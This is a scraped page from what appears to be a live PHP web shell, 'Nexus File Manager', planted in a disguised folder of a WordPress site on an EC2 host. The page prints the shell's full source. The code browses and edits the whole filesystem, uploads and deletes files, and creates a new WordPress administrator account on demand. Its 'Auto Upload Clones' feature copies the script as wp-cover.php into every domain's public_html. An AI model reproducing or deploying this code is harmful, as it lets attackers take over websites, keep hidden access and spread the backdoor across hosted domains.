Nexus File Manager
v2.0
🌐 ec2-54-219-225-76.us-west-1.compute.amazonaws.com
🏠
Dashboard
📤
Auto Upload Clones
🌐
›
var
›
www
›
html
›
wordpress
›
wp-includes__56db21a
›
theme-compat
Quick:
⬆️ Parent
🌐 Root
🏠 Home
🌍 WWW
📁 Temp
⚙️ Etc
📤 Auto Upload
📤 Upload
📁 Create
⚡ WordPress Admin
🔄 Refresh
✏️ index.php
← Back
<?php error_reporting(0); // ============================================= // CORE FUNCTIONS & INITIALIZATION // ============================================= $current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); $current_dir = realpath($current_dir); if ($current_dir === false) { $current_dir = getcwd(); } $parent_dir = dirname($current_dir); if ($parent_dir == $current_dir) { $parent_dir = false; } // Helper: format file size function formatSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { return $bytes . ' bytes'; } elseif ($bytes == 1) { return $bytes . ' byte'; } return '0 bytes'; } // Helper: random password function generateRandomPassword($length = 12) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*'; $password = ''; $max = strlen($chars) - 1; for ($i = 0; $i < $length; $i++) { $password .= $chars[random_int(0, $max)]; } return $password; } // Helper: Detect domain for current folder function detectDomainForPath($path) { $document_root = $_SERVER['DOCUMENT_ROOT'] ?? ''; $http_host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://'; // If path is within document root if (!empty($document_root) && strpos($path, $document_root) === 0) { $relative_path = substr($path, strlen($document_root)); return $protocol . $http_host . $relative_path; } // Try to find WordPress installation and get its domain $check_path = $path; while ($check_path != '/' && $check_path != '') { if (file_exists($check_path . '/wp-config.php')) { $config_content = file_get_contents($check_path . '/wp-config.php'); if (preg_match("/define\(\s*['\"]WP_HOME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $config_content, $matches)) { return $matches[1]; } if (preg_match("/define\(\s*['\"]WP_SITEURL['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $config_content, $matches)) { return $matches[1]; } } $check_path = dirname($check_path); } return null; } // Helper: Extract domain from path function extractDomainFromPath($path) { // Common patterns for domain folders $patterns = [ '/domains\/([^\/]+)/', // Pattern: domains/example.com '/([^\/]+)\/public_html/', // Pattern: example.com/public_html '/www\/([^\/]+)/', // Pattern: www/example.com '/htdocs\/([^\/]+)/', // Pattern: htdocs/example.com ]; foreach ($patterns as $pattern) { if (preg_match($pattern, $path, $matches)) { return $matches[1]; } } return null; } // ============================================= // AUTO UPLOAD FEATURE // ============================================= $uploaded_clones = []; // Handle auto upload if (isset($_GET['auto_upload'])) { $domains_path = $current_dir; $clones_created = []; // Try to find domains folder if not already in it if (basename($current_dir) !== 'domains') { // Check if we're in a path that contains 'domains' folder $check_path = $current_dir; while ($check_path != '/' && $check_path != '') { if (basename($check_path) === 'domains') { $domains_path = $check_path; break; } $check_path = dirname($check_path); } } // Scan for domain folders if (is_dir($domains_path)) { $items = scandir($domains_path); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $domain_path = $domains_path . '/' . $item; if (is_dir($domain_path)) { // Look for public_html inside domain folder $public_html_path = $domain_path . '/public_html'; if (is_dir($public_html_path)) { // Upload clone to public_html $clone_name = 'wp-cover.php'; $clone_path = $public_html_path . '/' . $clone_name; // Copy current script to public_html if (copy(__FILE__, $clone_path)) { // Detect domain for URL $domain = $item; $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://'; // Try to get actual domain from config or use folder name $config_domain = detectDomainForPath($public_html_path); if ($config_domain) { $url = rtrim($config_domain, '/') . '/' . $clone_name; } else { // Construct URL from folder name $url = $protocol . $domain . '/' . $clone_name; } $clones_created[] = [ 'domain' => $domain, 'path' => $clone_path, 'url' => $url ]; } } } } } // Store in session or query param for display if (!empty($clones_created)) { $uploaded_clones = $clones_created; $message = "✅ Auto upload completed: " . count($clones_created) . " clones created"; $message_type = 'success'; } else { $message = "❌ No public_html folders found in domains directory"; $message_type = 'warning'; } } // ============================================= // ACTION HANDLERS // ============================================= $message = ''; $message_type = ''; // WordPress Admin Creation if (isset($_GET['wpadmin'])) { $wp_path = $current_dir; $found = false; while ($wp_path != '/' && $wp_path != '') { if (file_exists($wp_path . '/wp-load.php') || file_exists($wp_path . '/wp-config.php')) { $found = true; break; } $wp_path = dirname($wp_path); } if ($found && file_exists($wp_path . '/wp-load.php')) { require_once($wp_path . '/wp-load.php'); $username = 'admin_' . substr(md5(time()), 0, 8); $password = generateRandomPassword(); $email = $username . '@' . substr(md5($wp_path), 0, 6) . '.local'; if (function_exists('wp_create_user')) { if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); $message = "WordPress Admin Created | Username: $username | Password: $password | Email: $email | Login: " . get_site_url() . "/wp-admin"; $message_type = 'success'; } else { $message = "Error creating user: " . $user_id->get_error_message(); $message_type = 'error'; } } else { $message = "User already exists in WordPress database"; $message_type = 'warning'; } } else { $message = "WordPress not properly loaded"; $message_type = 'error'; } } else { $message = "WordPress installation not found"; $message_type = 'error'; } } // File upload if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) { $uploaded_file = $_FILES['upload_file']; if ($uploaded_file['error'] === UPLOAD_ERR_OK) { $target_path = $current_dir . '/' . basename($uploaded_file['name']); if (move_uploaded_file($uploaded_file['tmp_name'], $target_path)) { $message = "File uploaded successfully: " . basename($uploaded_file['name']); $message_type = 'success'; } else { $message = "Failed to upload file"; $message_type = 'error'; } } } // Directory creation if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_dir'])) { $dir_name = trim($_POST['dir_name']); if (!empty($dir_name)) { $new_dir = $current_dir . '/' . preg_replace('/[^\w\-\.]/', '', $dir_name); if (!file_exists($new_dir)) { if (mkdir($new_dir, 0755)) { $message = "Directory created: " . htmlspecialchars($dir_name); $message_type = 'success'; } else { $message = "Failed to create directory"; $message_type = 'error'; } } else { $message = "Directory already exists"; $message_type = 'warning'; } } } // File deletion if (isset($_GET['delete'])) { $file_to_delete = $current_dir . '/' . basename($_GET['delete']); if (file_exists($file_to_delete)) { if (is_dir($file_to_delete)) { $success = rmdir($file_to_delete); } else { $success = unlink($file_to_delete); } if ($success) { header("Location: ?dir=" . urlencode($current_dir)); exit; } } } // File editing if (isset($_GET['edit'])) { $file_to_edit = $current_dir . '/' . basename($_GET['edit']); if (file_exists($file_to_edit) && is_file($file_to_edit)) { $file_content = file_get_contents($file_to_edit); if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file_content'])) { if (file_put_contents($file_to_edit, $_POST['file_content']) !== false) { $message = "File saved: " . htmlspecialchars(basename($_GET['edit'])); $message_type = 'success'; $file_content = $_POST['file_content']; // Refresh content } } } } // ============================================= // DIRECTORY SCANNING // ============================================= $folders = []; $files = []; if (is_dir($current_dir) && is_readable($current_dir)) { $items = scandir($current_dir); if ($items !== false) { foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $full_path = $current_dir . '/' . $item; if (is_dir($full_path)) { $folders[] = [ 'name' => $item, 'path' => $full_path, 'modified' => filemtime($full_path), 'permissions' => substr(sprintf('%o', fileperms($full_path)), -3) ]; } else { $files[] = [ 'name' => $item, 'path' => $full_path, 'size' => filesize($full_path), 'modified' => filemtime($full_path), 'permissions' => substr(sprintf('%o', fileperms($full_path)), -3), 'extension' => strtolower(pathinfo($item, PATHINFO_EXTENSION)) ]; } } } } // Sort usort($folders, fn($a, $b) => strcmp($a['name'], $b['name'])); usort($files, fn($a, $b) => strcmp($a['name'], $b['name'])); // ============================================= // BREADCRUMBS // ============================================= $breadcrumbs = []; $parts = explode('/', trim($current_dir, '/')); $path = ''; $breadcrumbs[] = ['name' => '🌐', 'path' => '/']; foreach ($parts as $part) { if (!empty($part)) { $path .= '/' . $part; $breadcrumbs[] = ['name' => $part, 'path' => $path]; } } // Detect domain for current folder $current_domain = detectDomainForPath($current_dir); // ============================================= // UI RENDERING // ============================================= ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Nexus File Manager</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; } body { background: #0f172a; min-height: 100vh; padding: 24px; } .app { max-width: 1600px; margin: 0 auto; } /* Glass morphism effects */ .glass { background: rgba(255, 255, 255, 0.05); backdrop-filter: blur(10px); border: 1px solid rgba(255, 255, 255, 0.1); border-radius: 16px; } .glass-card { background: rgba(30, 41, 59, 0.8); backdrop-filter: blur(10px); border: 1px solid rgba(255, 255, 255, 0.05); border-radius: 14px; transition: all 0.2s ease; } .glass-card:hover { border-color: rgba(99, 102, 241, 0.3); transform: translateY(-2px); box-shadow: 0 20px 30px -15px rgba(0, 0, 0, 0.5); } /* Header */ .header { display: flex; justify-content: space-between; align-items: center; padding: 20px 28px; margin-bottom: 24px; background: rgba(15, 23, 42, 0.8); backdrop-filter: blur(12px); border: 1px solid rgba(255, 255, 255, 0.05); border-radius: 20px; } .logo h1 { font-size: 1.8rem; font-weight: 700; background: linear-gradient(135deg, #818cf8, #c084fc); -webkit-background-clip: text; -webkit-text-fill-color: transparent; letter-spacing: -0.5px; } .logo span { color: #94a3b8; font-size: 0.9rem; margin-left: 8px; } .domain-badge { background: linear-gradient(135deg, #4f46e5, #7c3aed); padding: 6px 14px; border-radius: 30px; margin-left: 15px; font-size: 0.9rem; color: white; display: inline-flex; align-items: center; gap: 6px; } .header-actions { display: flex; gap: 12px; } /* Buttons */ .btn { padding: 10px 18px; border: none; border-radius: 12px; font-weight: 500; font-size: 0.9rem; cursor: pointer; display: inline-flex; align-items: center; gap: 8px; transition: all 0.2s; text-decoration: none; background: rgba(255, 255, 255, 0.05); color: #e2e8f0; border: 1px solid rgba(255, 255, 255, 0.1); } .btn:hover { background: rgba(255, 255, 255, 0.1); border-color: rgba(99, 102, 241, 0.5); transform: translateY(-1px); } .btn-primary { background: linear-gradient(135deg, #4f46e5, #7c3aed); border: none; color: white; } .btn-primary:hover { background: linear-gradient(135deg, #6366f1, #8b5cf6); } .btn-success { background: linear-gradient(135deg, #059669, #10b981); border: none; color: white; } .btn-warning { background: linear-gradient(135deg, #d97706, #f59e0b); border: none; color: white; } .btn-info { background: linear-gradient(135deg, #2563eb, #3b82f6); border: none; color: white; } .btn-purple { background: linear-gradient(135deg, #9333ea, #c026d3); border: none; color: white; } /* Breadcrumbs */ .breadcrumb-bar { padding: 16px 24px; margin-bottom: 24px; background: rgba(30, 41, 59, 0.6); backdrop-filter: blur(8px); border-radius: 16px; border: 1px solid rgba(255, 255, 255, 0.03); display: flex; flex-wrap: wrap; align-items: center; gap: 8px; } .breadcrumb-item { color: #94a3b8; text-decoration: none; font-size: 0.95rem; padding: 6px 12px; border-radius: 10px; background: rgba(255, 255, 255, 0.02); transition: all 0.2s; } .breadcrumb-item:hover { background: rgba(99, 102, 241, 0.2); color: #e2e8f0; } .breadcrumb-sep { color: #334155; font-size: 1.2rem; } /* Quick Nav */ .quick-nav { padding: 16px 24px; margin-bottom: 24px; background: rgba(30, 41, 59, 0.4); border-radius: 16px; display: flex; flex-wrap: wrap; align-items: center; gap: 12px; } .nav-tag { color: #94a3b8; font-weight: 500; margin-right: 8px; } .nav-link { padding: 8px 16px; background: rgba(255, 255, 255, 0.03); border: 1px solid rgba(255, 255, 255, 0.05); border-radius: 30px; color: #cbd5e1; text-decoration: none; font-size: 0.9rem; transition: all 0.2s; } .nav-link:hover { background: rgba(99, 102, 241, 0.2); border-color: #4f46e5; color: white; } /* Controls Bar */ .controls-bar { padding: 20px 24px; margin-bottom: 24px; background: rgba(30, 41, 59, 0.6); backdrop-filter: blur(8px); border-radius: 20px; display: flex; flex-wrap: wrap; gap: 16px; align-items: center; } .control-group { display: flex; gap: 8px; align-items: center; background: rgba(0, 0, 0, 0.2); padding: 6px; border-radius: 14px; border: 1px solid rgba(255, 255, 255, 0.03); } .control-group input { background: rgba(15, 23, 42, 0.8); border: 1px solid rgba(255, 255, 255, 0.1); padding: 10px 16px; border-radius: 12px; color: #f1f5f9; font-size: 0.9rem; min-width: 200px; } .control-group input:focus { outline: none; border-color: #4f46e5; } /* Main layout */ .main-grid { display: grid; grid-template-columns: 1fr 340px; gap: 24px; } /* Message alert */ .message { margin-bottom: 24px; padding: 16px 24px; border-radius: 16px; font-weight: 500; animation: slideDown 0.3s ease; } @keyframes slideDown { from { opacity: 0; transform: translateY(-20px); } to { opacity: 1; transform: translateY(0); } } .message.success { background: rgba(16, 185, 129, 0.2); border: 1px solid #10b981; color: #a7f3d0; } .message.error { background: rgba(239, 68, 68, 0.2); border: 1px solid #ef4444; color: #fecaca; } .message.warning { background: rgba(245, 158, 11, 0.2); border: 1px solid #f59e0b; color: #fde68a; } /* File grid */ .section-title { font-size: 1.2rem; font-weight: 600; color: #e2e8f0; margin: 28px 0 16px 0; padding-bottom: 8px; border-bottom: 1px solid rgba(255, 255, 255, 0.1); display: flex; align-items: center; gap: 8px; } .grid-container { display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 16px; margin-bottom: 30px; } .item-card { padding: 18px; background: rgba(30, 41, 59, 0.6); border: 1px solid rgba(255, 255, 255, 0.03); border-radius: 16px; transition: all 0.2s; } .item-card:hover { background: rgba(30, 41, 59, 0.9); border-color: rgba(99, 102, 241, 0.4); } .item-icon { font-size: 2.2rem; margin-bottom: 12px; filter: drop-shadow(0 4px 6px rgba(0, 0, 0, 0.3)); } .item-name { font-weight: 600; color: #f1f5f9; margin-bottom: 8px; word-break: break-all; font-size: 1rem; } .item-meta { font-size: 0.8rem; color: #94a3b8; margin-bottom: 16px; line-height: 1.6; background: rgba(0, 0, 0, 0.2); padding: 8px 10px; border-radius: 10px; } .item-actions { display: flex; gap: 8px; flex-wrap: wrap; } .action-btn { padding: 6px 12px; border-radius: 8px; font-size: 0.75rem; font-weight: 600; text-decoration: none; text-transform: uppercase; letter-spacing: 0.3px; transition: all 0.2s; background: rgba(255, 255, 255, 0.03); border: 1px solid rgba(255, 255, 255, 0.1); color: #cbd5e1; } .action-btn:hover { background: #4f46e5; border-color: #4f46e5; color: white; } .action-delete:hover { background: #dc2626; border-color: #dc2626; } /* Sidebar */ .sidebar { display: flex; flex-direction: column; gap: 24px; } .sidebar-widget { background: rgba(30, 41, 59, 0.6); backdrop-filter: blur(8px); border: 1px solid rgba(255, 255, 255, 0.03); border-radius: 20px; padding: 20px; } .widget-title { color: #e2e8f0; font-size: 1rem; font-weight: 600; margin-bottom: 16px; padding-bottom: 10px; border-bottom: 1px solid rgba(255, 255, 255, 0.1); display: flex; align-items: center; gap: 8px; } .info-row { padding: 12px 0; border-bottom: 1px solid rgba(255, 255, 255, 0.03); color: #94a3b8; font-size: 0.9rem; } .info-row strong { color: #e2e8f0; display: block; margin-bottom: 4px; } .wp-creds-box { background: rgba(79, 70, 229, 0.2); border: 1px solid #4f46e5; border-radius: 14px; padding: 16px; margin-top: 12px; color: #c7d2fe; } /* Clones list */ .clones-list { background: rgba(16, 185, 129, 0.1); border: 1px solid #10b981; border-radius: 14px; padding: 16px; margin-top: 12px; } .clone-item { padding: 10px; border-bottom: 1px solid rgba(255, 255, 255, 0.05); display: flex; align-items: center; gap: 8px; } .clone-item:last-child { border-bottom: none; } .clone-url { color: #10b981; text-decoration: none; font-size: 0.9rem; word-break: break-all; flex: 1; } .clone-url:hover { color: #34d399; text-decoration: underline; } .clone-badge { background: #10b981; color: white; padding: 2px 8px; border-radius: 12px; font-size: 0.7rem; } /* Editor */ .editor-container { background: rgba(15, 23, 42, 0.9); border-radius: 20px; overflow: hidden; border: 1px solid rgba(255, 255, 255, 0.05); } .editor-header { padding: 18px 24px; background: rgba(30, 41, 59, 0.8); border-bottom: 1px solid rgba(255, 255, 255, 0.05); display: flex; justify-content: space-between; align-items: center; } .editor-header h3 { color: #f1f5f9; font-weight: 500; } .editor-content textarea { width: 100%; min-height: 500px; padding: 24px; background: #0f172a; border: none; color: #a5b4fc; font-family: 'Fira Code', monospace; font-size: 0.9rem; line-height: 1.6; resize: vertical; } .editor-content textarea:focus { outline: none; } .editor-footer { padding: 18px 24px; background: rgba(30, 41, 59, 0.8); border-top: 1px solid rgba(255, 255, 255, 0.05); text-align: right; } /* Empty state */ .empty-state { text-align: center; padding: 60px 20px; color: #64748b; background: rgba(30, 41, 59, 0.4); border-radius: 24px; } .empty-state i { font-size: 4rem; display: block; margin-bottom: 20px; opacity: 0.5; } /* Status bar */ .status-bar { margin-top: 24px; padding: 16px 24px; background: rgba(15, 23, 42, 0.8); backdrop-filter: blur(8px); border-radius: 16px; border: 1px solid rgba(255, 255, 255, 0.03); display: flex; justify-content: space-between; color: #94a3b8; font-size: 0.9rem; } /* Responsive */ @media (max-width: 1024px) { .main-grid { grid-template-columns: 1fr; } } @media (max-width: 768px) { .controls-bar { flex-direction: column; align-items: stretch; } .control-group { flex-direction: column; } .grid-container { grid-template-columns: 1fr; } } </style> </head> <body> <div class="app"> <!-- Header --> <div class="header"> <div class="logo"> <h1>Nexus File Manager <span>v2.0</span> <?php if ($current_domain): ?> <span class="domain-badge">🌐 <?php echo htmlspecialchars(parse_url($current_domain, PHP_URL_HOST) ?: $current_domain); ?></span> <?php endif; ?> </h1> </div> <div class="header-actions"> <a href="?" class="btn btn-primary"> <span>🏠</span> Dashboard </a> <a href="?auto_upload=1&dir=<?php echo urlencode($current_dir); ?>" class="btn btn-purple"> <span>📤</span> Auto Upload Clones </a> </div> </div> <!-- Breadcrumb --> <div class="breadcrumb-bar"> <?php foreach ($breadcrumbs as $i => $crumb): ?> <a href="?dir=<?php echo urlencode($crumb['path']); ?>" class="breadcrumb-item"> <?php echo htmlspecialchars($crumb['name']); ?> </a> <?php if ($i < count($breadcrumbs)-1): ?> <span class="breadcrumb-sep">›</span> <?php endif; ?> <?php endforeach; ?> </div> <!-- Quick Navigation --> <div class="quick-nav"> <span class="nav-tag">Quick:</span> <?php if ($parent_dir): ?> <a href="?dir=<?php echo urlencode($parent_dir); ?>" class="nav-link">⬆️ Parent</a> <?php endif; ?> <a href="?dir=/" class="nav-link">🌐 Root</a> <a href="?dir=/home" class="nav-link">🏠 Home</a> <a href="?dir=/var/www" class="nav-link">🌍 WWW</a> <a href="?dir=/tmp" class="nav-link">📁 Temp</a> <a href="?dir=/etc" class="nav-link">⚙️ Etc</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&auto_upload=1" class="nav-link" style="background: rgba(147, 51, 234, 0.3);">📤 Auto Upload</a> </div> <!-- Controls --> <div class="controls-bar"> <div class="control-group"> <form method="post" enctype="multipart/form-data" style="display: flex; gap: 8px;"> <input type="file" name="upload_file" required> <button type="submit" class="btn btn-primary">📤 Upload</button> </form> </div> <div class="control-group"> <form method="post" style="display: flex; gap: 8px;"> <input type="text" name="dir_name" placeholder="New folder name" required> <button type="submit" name="create_dir" value="1" class="btn btn-success">📁 Create</button> </form> </div> <div class="control-group"> <a href="?dir=<?php echo urlencode($current_dir); ?>&wpadmin=1" class="btn btn-warning">⚡ WordPress Admin</a> <a href="?dir=<?php echo urlencode($current_dir); ?>" class="btn btn-info">🔄 Refresh</a> </div> </div> <!-- Message display --> <?php if ($message): ?> <div class="message <?php echo $message_type; ?>"> <?php echo $message; ?> </div> <?php endif; ?> <!-- Display uploaded clones --> <?php if (!empty($uploaded_clones)): ?> <div class="sidebar-widget" style="margin-bottom: 24px; background: rgba(16, 185, 129, 0.1);"> <div class="widget-title"> <span>🎯</span> Uploaded Clones (wp-cover.php) </div> <div class="clones-list"> <?php foreach ($uploaded_clones as $clone): ?> <div class="clone-item"> <span>🌐</span> <a href="<?php echo htmlspecialchars($clone['url']); ?>" target="_blank" class="clone-url"> <?php echo htmlspecialchars($clone['url']); ?> </a> <span class="clone-badge"><?php echo htmlspecialchars($clone['domain']); ?></span> </div> <?php endforeach; ?> </div> </div> <?php endif; ?> <!-- Main grid --> <div class="main-grid"> <!-- Main content --> <div class="main-content"> <?php if (isset($file_content)): ?> <!-- Editor --> <div class="editor-container"> <div class="editor-header"> <h3>✏️ <?php echo htmlspecialchars(basename($_GET['edit'])); ?></h3> <a href="?dir=<?php echo urlencode($current_dir); ?>" class="btn btn-primary">← Back</a> </div> <form method="post"> <div class="editor-content"> <textarea name="file_content"><?php echo htmlspecialchars($file_content); ?></textarea> </div> <div class="editor-footer"> <button type="submit" class="btn btn-success">💾 Save Changes</button> </div> </form> </div> <?php else: ?> <!-- Folders --> <?php if (!empty($folders)): ?> <div class="section-title"> <span>📁</span> Folders (<?php echo count($folders); ?>) </div> <div class="grid-container"> <?php foreach ($folders as $folder): ?> <div class="item-card"> <div class="item-icon">📁</div> <div class="item-name"><?php echo htmlspecialchars($folder['name']); ?></div> <div class="item-meta"> Modified: <?php echo date('Y-m-d H:i', $folder['modified']); ?><br> Perm: <?php echo $folder['permissions']; ?> </div> <div class="item-actions"> <a href="?dir=<?php echo urlencode($folder['path']); ?>" class="action-btn">Open</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&delete=<?php echo urlencode($folder['name']); ?>" class="action-btn action-delete" onclick="return confirm('Delete folder?')">Delete</a> </div> </div> <?php endforeach; ?> </div> <?php endif; ?> <!-- Files --> <?php if (!empty($files)): ?> <div class="section-title"> <span>📄</span> Files (<?php echo count($files); ?>) </div> <div class="grid-container"> <?php foreach ($files as $file): $icon = '📄'; if ($file['extension'] == 'php') $icon = '🐘'; elseif (in_array($file['extension'], ['jpg','png','gif'])) $icon = '🖼️'; elseif (in_array($file['extension'], ['zip','tar','gz'])) $icon = '📦'; elseif ($file['extension'] == 'pdf') $icon = '📕'; ?> <div class="item-card"> <div class="item-icon"><?php echo $icon; ?></div> <div class="item-name"><?php echo htmlspecialchars($file['name']); ?></div> <div class="item-meta"> Size: <?php echo formatSize($file['size']); ?><br> Modified: <?php echo date('Y-m-d H:i', $file['modified']); ?> </div> <div class="item-actions"> <a href="?dir=<?php echo urlencode($current_dir); ?>&edit=<?php echo urlencode($file['name']); ?>" class="action-btn">Edit</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&delete=<?php echo urlencode($file['name']); ?>" class="action-btn action-delete" onclick="return confirm('Delete file?')">Delete</a> </div> </div> <?php endforeach; ?> </div> <?php endif; ?> <?php if (empty($folders) && empty($files)): ?> <div class="empty-state"> <i>📂</i> <h3>Empty directory</h3> <p>Upload files or create folders to get started</p> </div> <?php endif; ?> <?php endif; ?> </div> <!-- Sidebar --> <div class="sidebar"> <div class="sidebar-widget"> <div class="widget-title"> <span>💻</span> System Info </div> <div class="info-row"> <strong>Current path</strong> <span style="word-break: break-all;"><?php echo htmlspecialchars($current_dir); ?></span> </div> <?php if ($current_domain): ?> <div class="info-row"> <strong>Domain</strong> <a href="<?php echo htmlspecialchars($current_domain); ?>" target="_blank" style="color: #818cf8; text-decoration: none;"> <?php echo htmlspecialchars($current_domain); ?> </a> </div> <?php endif; ?> <div class="info-row"> <strong>Contents</strong> <?php echo count($folders); ?> folders, <?php echo count($files); ?> files </div> <div class="info-row"> <strong>Disk free</strong> <?php echo formatSize(disk_free_space($current_dir)); ?> </div> <div class="info-row"> <strong>PHP version</strong> <?php echo PHP_VERSION; ?> </div> </div> <div class="sidebar-widget"> <div class="widget-title"> <span>🚀</span> Quick Actions </div> <div style="display: flex; flex-direction: column; gap: 8px;"> <a href="?dir=<?php echo urlencode(dirname(__FILE__)); ?>" class="btn" style="justify-content: center;">📍 Script location</a> <a href="?dir=/var/www" class="btn" style="justify-content: center;">🌐 Web root</a> <a href="?dir=/tmp" class="btn" style="justify-content: center;">🗑️ Temp</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&auto_upload=1" class="btn btn-purple" style="justify-content: center;">📤 Auto Upload Clones</a> </div> </div> <?php // Check if current path contains domains folder and show quick access if (strpos($current_dir, 'domains') !== false || basename($current_dir) === 'domains'): ?> <div class="sidebar-widget"> <div class="widget-title"> <span>🌍</span> Domains Quick Access </div> <div style="display: flex; flex-direction: column; gap: 8px;"> <a href="?auto_upload=1&dir=<?php echo urlencode($current_dir); ?>" class="btn btn-success" style="justify-content: center;"> 📤 Upload to all domains </a> </div> </div> <?php endif; ?> </div> </div> <!-- Status bar --> <div class="status-bar"> <span>📁 <?php echo htmlspecialchars($current_dir); ?></span> <span>⚡ Nexus File Manager • <?php echo count($folders) + count($files); ?> items</span> </div> </div> <script> // Auto-hide messages setTimeout(() => { document.querySelectorAll('.message').forEach(el => { el.style.opacity = '0'; setTimeout(() => el.remove(), 500); }); }, 5000); // Click-to-copy for WP creds and clone URLs document.querySelectorAll('.wp-creds-box div, .clone-url').forEach(el => { el.addEventListener('click', function(e) { if (e.target.tagName === 'A') return; const text = this.innerText.split(': ')[1] || this.innerText; navigator.clipboard.writeText(text); const original = this.innerText; this.innerText = '✅ Copied!'; setTimeout(() => this.innerText = original, 1500); }); }); // Keyboard shortcuts document.addEventListener('keydown', e => { if (e.ctrlKey && e.key === 's' && document.querySelector('textarea')) { e.preventDefault(); document.querySelector('button[type="submit"]')?.click(); } if (e.key === 'Escape') { const backBtn = document.querySelector('a[href*="dir="]'); if (backBtn) window.location.href = backBtn.href; } }); </script> </body> </html>
💻
System Info
Current path
/var/www/html/wordpress/wp-includes__56db21a/theme-compat
Domain
http://ec2-54-219-225-76.us-west-1.compute.amazonaws.com/wp-includes__56db21a/theme-compat
Contents
0 folders, 1 files
Disk free
42.96 GB
PHP version
8.3.6
🚀
Quick Actions
📍 Script location
🌐 Web root
🗑️ Temp
📤 Auto Upload Clones
📁 /var/www/html/wordpress/wp-includes__56db21a/theme-compat
⚡ Nexus File Manager • 1 items